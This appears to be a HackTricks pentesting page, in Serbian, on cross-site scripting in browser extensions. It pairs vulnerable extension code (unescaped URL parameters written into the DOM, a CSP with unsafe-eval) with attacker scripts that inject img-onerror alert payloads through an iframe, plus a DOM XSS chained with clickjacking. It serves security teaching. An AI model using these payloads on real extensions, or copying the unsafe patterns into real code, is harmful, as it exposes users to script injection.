hacktricks/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md

7.1 KiB
Raw Blame History

BrowExt - XSS Primer

{% hint style="success" %} Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks
{% endhint %}

Cross-Site Scripting (XSS) kroz Iframe

U ovoj postavci, sadržajni skript se implementira da instancira Iframe, uključujući URL sa parametrima upita kao izvor Iframe-a:

chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") +
"?content=" + encodeURIComponent(result.message) +
"&redirect=https://example.net/details";
frame.src = constructedURL;
});

Javna HTML stranica, message.html, je dizajnirana da dinamički dodaje sadržaj u telo dokumenta na osnovu parametara u URL-u:

$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
let userContent = urlParams.get("content");
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
$('#detailBtn').on('click', () => {
let destinationURL = urlParams.get("redirect");
chrome.tabs.create({ url: destinationURL });
});
});

Na zloćudnoj stranici se izvršava zloćudni skript, modifikujući content parametar izvora Iframe-a kako bi se uveo XSS payload. To se postiže ažuriranjem izvora Iframe-a da uključuje štetni skript:

setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
let baseURL = targetFrame.split('?')[0];
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;

document.querySelector("iframe").src = maliciousURL;
}, 1000);

Previše permisivna politika bezbednosti sadržaja kao što je:

"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"

omogućava izvršavanje JavaScript-a, čineći sistem ranjivim na XSS napade.

Alternativni pristup za izazivanje XSS-a uključuje kreiranje Iframe elementa i postavljanje njegovog izvora da uključuje štetni skript kao content parametar:

let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame);

DOM-based XSS + ClickJacking

Ovaj primer je preuzet iz originalnog posta.

Osnovni problem proističe iz DOM-bazirane Cross-site Scripting (XSS) ranjivosti koja se nalazi u /html/bookmarks.html. Problematični JavaScript, deo bookmarks.js, je detaljno opisan u nastavku:

$('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val();
if ($('.custom-button .label').filter(function() {
return $(this).text() === bookmarkName;
}).length) return false;

var bookmarkItem = $('<div class="custom-button">');
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
bookmarkItem.attr('data-title', bookmarkName);
bookmarkItem.data('timestamp', (new Date().getTime()));
$('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});

Ovaj deo koda preuzima vrednost iz txtName ulaznog polja i koristi spajanje stringova za generisanje HTML-a, koji se zatim dodaje u DOM koristeći jQuery-ovu .append() funkciju.

Obično, Content Security Policy (CSP) Chrome ekstenzije bi sprečila takve ranjivosti. Međutim, zbog opuštanja CSP-a sa unsafe-eval i korišćenja jQuery-ovih metoda manipulacije DOM-om (koje koriste globalEval() za prosleđivanje skripti u eval() prilikom umetanja u DOM), eksploatacija je i dalje moguća.

Iako je ova ranjivost značajna, njena eksploatacija obično zavisi od interakcije korisnika: posete stranici, unošenja XSS payload-a i aktiviranja dugmeta “Add”.

Da bi se pojačala ova ranjivost, koristi se sekundarna clickjacking ranjivost. Manifest Chrome ekstenzije prikazuje opširnu politiku web_accessible_resources:

"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],

Značajno, stranica /html/bookmarks.html je podložna uokviravanju, što je čini ranjivom na clickjacking. Ova ranjivost se koristi za uokviravanje stranice unutar napadačeve stranice, prekrivajući je DOM elementima kako bi se obmanjujuće redizajniralo korisničko sučelje. Ova manipulacija dovodi žrtve do nehotice interakcije sa osnovnom ekstenzijom.

Reference

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}